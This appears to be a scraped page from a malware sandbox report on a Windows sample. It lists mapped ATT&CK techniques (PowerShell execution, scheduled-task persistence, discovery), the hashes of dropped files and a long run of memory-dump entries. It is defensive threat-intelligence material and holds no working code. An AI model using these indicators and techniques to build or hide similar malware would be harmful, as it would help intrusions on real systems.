C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1768

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485
MD5 3eb3833f769dd890afc295b977eab4b4
SHA1 e857649b037939602c72ad003e5d3698695f436f
SHA512 c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72
TLSH
T13A51EE313375B0D4C95A7F07193819C063BF8386E698AF58B65C521ED92751B9B222F3
MD5 SHA1 SHA512 TLSH

Submit Download

svhost.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svhost.exe.log
Size 1KB
SHA256 c91fa1a4668b73823007f1bd6b855b3fa48b3c8a1309aa3a13453546e2c47253
MD5 ec6c26ce2d6935f5117f8091bb7c4e5a
SHA1 3c96b9509cbde39465909e8975c498d4b3654725
SHA512 f19b8396f26575b3b640b1f4f4c69072aa5ed104f57dba0abb8cb887a8a271768377a625e3702ee50f40cec3a1b6164ed4fdab251f62189b2bf7459b80902c5f
TLSH
T186219D7032BAE1D889123F411C6D69C413AF8766B690AE1C7AA8535EDD260275F313F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 160cf979ee07d68208060f648369ba1f29a8269398494a31b2117e85db9794f7
MD5 fd24420a30481c2515e698a37590b332
SHA1 54094564f2031b2c556d0c585e6cd8444e91f319
SHA512 2336e9b88ad119f279bef7fcece6b202aa39d54724b5eda70cf74d215d612a54f1f87e833c74d12374a9edeb1603657f063f8ed96c6ee628a4771b2aad9490ce
TLSH
T1BC213123F3DDC850DC99423A609C9DA076B697C780DEDF9B2EC4C216A17FA99CB111A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6455e5210d45806521af83ff253e95704eeb7f247321e3776377d58dd4ed6ef8
MD5 c34601362fd08787de3b2f8ba691ad6c
SHA1 b6777f68c44182a7c3b96e6cae95b98241a9ecd6
SHA512 d05eb432ab443674ad00d934a2186d8d6978140c175709dbbaa909db66a2e0e45e6a94ad0e54faad52ee158071bc67075581e635696533056c4e1c3412834555
TLSH
T172215323B3DDC850DC99423A609C9DA076B6D7C780DEDF9B2EC4C216A17FA99CB111A0
MD5 SHA1 SHA512 TLSH

Submit Download

0urqhzez.5gs.exe

Path C:\Users\Admin\AppData\Local\Temp\0urqhzez.5gs.exe
Size 161KB
SHA256 879cc20b41635709bb304e315aaa5ca4708b480a1bfc2f4935fcf2215188efb0
MD5 94f1ab3a068f83b32639579ec9c5d025
SHA1 38f3d5bc5de46feb8de093d11329766b8e2054ae
SHA512 44d5236a804d63302b21ca25ebc148a64605508d03c990a244c44ceb8630849da0510b7b2d0bee72e01ca6681e2d86d7e6aee8847674a26f0028d149b9abee0c
SSDEEP 3072:hLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQig8xN:h/5bTgVziHzZnSKrCbYM
TLSH
T10BF33C07BAA500F7E976823585739E17B7B2F42503209BBF0B654A6E0FA37906D3DB50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

67320ce1-9414-454e-ac0e-32c6b7f551e0.exe

Path C:\Users\Admin\AppData\Local\Temp\67320ce1-9414-454e-ac0e-32c6b7f551e0.exe
Size 739KB
SHA256 1f8e2bf3e9f155c1031512faaf5cb9ed520cb8c147c734cf2b3f40e7ad2aef22
MD5 660385dfc222656835d2ad86f5372c35
SHA1 5933649087787a3aeb516e5c9994aac02c12db61
SHA512 84d34ab15d21ae6d8bfde93467df9f49b3319b9571abd92f744eb1040ddf64660edc05f8889ff9a8e048874d2fa4b2a04c2dcbd00eb6bdea6f24277229861065
SSDEEP 6144:bXsQzijj1U1NMvQv/WkqSJHSX2TTaHHHW4Y1mcfMM89CBAP3FNQ9Qu:bXsQzijI2GtaHHHEf9DkkQu
TLSH
T1E8F46B403FA4D45BEA6A06B4A47456305B64AD171C1ED69BF8C43AEDDF33381EC2226F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_bucoxakv.iy3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bucoxakv.iy3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/392-74-0x0000011EF1510000-0x0000011EF153B000-memory.dmp

Download

memory/392-75-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/616-61-0x000001592A350000-0x000001592A375000-memory.dmp

Download

memory/616-62-0x000001592A380000-0x000001592A3AB000-memory.dmp

Download

memory/616-63-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/684-67-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/684-66-0x000001AB16A00000-0x000001AB16A2B000-memory.dmp

Download

memory/752-79-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/752-78-0x0000021A18B60000-0x0000021A18B8B000-memory.dmp

Download

memory/896-71-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/896-70-0x00000140A9A20000-0x00000140A9A4B000-memory.dmp

Download

memory/1036-83-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1036-82-0x000002637C890000-0x000002637C8BB000-memory.dmp

Download

memory/1060-86-0x0000024B4E740000-0x0000024B4E76B000-memory.dmp

Download

memory/1060-87-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1068-90-0x000001CB10BC0000-0x000001CB10BEB000-memory.dmp

Download

memory/1068-91-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1112-94-0x0000015C34930000-0x0000015C3495B000-memory.dmp

Download

memory/1112-95-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1172-98-0x0000028B10820000-0x0000028B1084B000-memory.dmp

Download

memory/1172-99-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1232-103-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1232-102-0x0000027112D30000-0x0000027112D5B000-memory.dmp

Download

memory/1256-107-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1256-106-0x000001B1AB7A0000-0x000001B1AB7CB000-memory.dmp

Download

memory/1264-110-0x000001A090960000-0x000001A09098B000-memory.dmp

Download

memory/1264-111-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1460-114-0x0000019E57F30000-0x0000019E57F5B000-memory.dmp

Download

memory/1460-115-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1468-119-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1468-118-0x00000198772B0000-0x00000198772DB000-memory.dmp

Download

memory/1496-122-0x000001B074C60000-0x000001B074C8B000-memory.dmp

Download

memory/1496-123-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1504-127-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1504-126-0x0000029B27840000-0x0000029B2786B000-memory.dmp

Download

memory/1520-131-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1520-130-0x000001661AFD0000-0x000001661AFFB000-memory.dmp

Download

memory/1780-135-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1780-134-0x0000029AE4C30000-0x0000029AE4C5B000-memory.dmp

Download

memory/1820-138-0x0000012E7CB80000-0x0000012E7CBAB000-memory.dmp

Download

memory/1820-139-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1832-143-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1832-142-0x00000289C1160000-0x00000289C118B000-memory.dmp

Download

memory/1900-146-0x000001EE4BB10000-0x000001EE4BB3B000-memory.dmp

Download

memory/1900-147-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/1916-150-0x000002E144540000-0x000002E14456B000-memory.dmp

Download

memory/1916-151-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/2004-59-0x00007FFD1C1D0000-0x00007FFD1C3C8000-memory.dmp

Download

memory/2004-60-0x00007FFD1B530000-0x00007FFD1B5ED000-memory.dmp

Download

memory/2032-155-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/2032-154-0x0000023DE3F70000-0x0000023DE3F9B000-memory.dmp

Download

memory/2052-158-0x000001FE49B40000-0x000001FE49B6B000-memory.dmp

Download

memory/2052-159-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/2120-162-0x0000017733F60000-0x0000017733F8B000-memory.dmp

Download

memory/2120-163-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/2128-166-0x0000017834060000-0x000001783408B000-memory.dmp

Download

memory/2128-167-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/2136-170-0x0000028A5D390000-0x0000028A5D3BB000-memory.dmp

Download

memory/2136-171-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/2216-174-0x000001F20B190000-0x000001F20B1BB000-memory.dmp

Download

memory/2216-175-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/2224-179-0x00007FFCDC250000-0x00007FFCDC260000-memory.dmp

Download

memory/2224-178-0x0000016E23370000-0x0000016E2339B000-memory.dmp

Download

memory/2348-182-0x0000000000CD0000-0x0000000000CFB000-memory.dmp

Download

memory/3304-42-0x000000001B080000-0x000000001B090000-memory.dmp

Download

memory/3304-16-0x00000000002F0000-0x00000000003AE000-memory.dmp

Download

memory/3928-24-0x000001FAF9690000-0x000001FAF96B2000-memory.dmp

Download

memory/4104-0-0x0000000000FF0000-0x00000000011E4000-memory.dmp

Download

memory/4296-388-0x0000000000FF0000-0x00000000010AE000-memory.dmp

Download

memory/4688-47-0x000000001B0B0000-0x000000001B0DC000-memory.dmp

Download

memory/4688-46-0x000000001C3A0000-0x000000001C3E4000-memory.dmp

Download

memory/4688-337-0x000000001C520000-0x000000001C532000-memory.dmp

Download

memory/4688-403-0x000000001C340000-0x000000001C34A000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads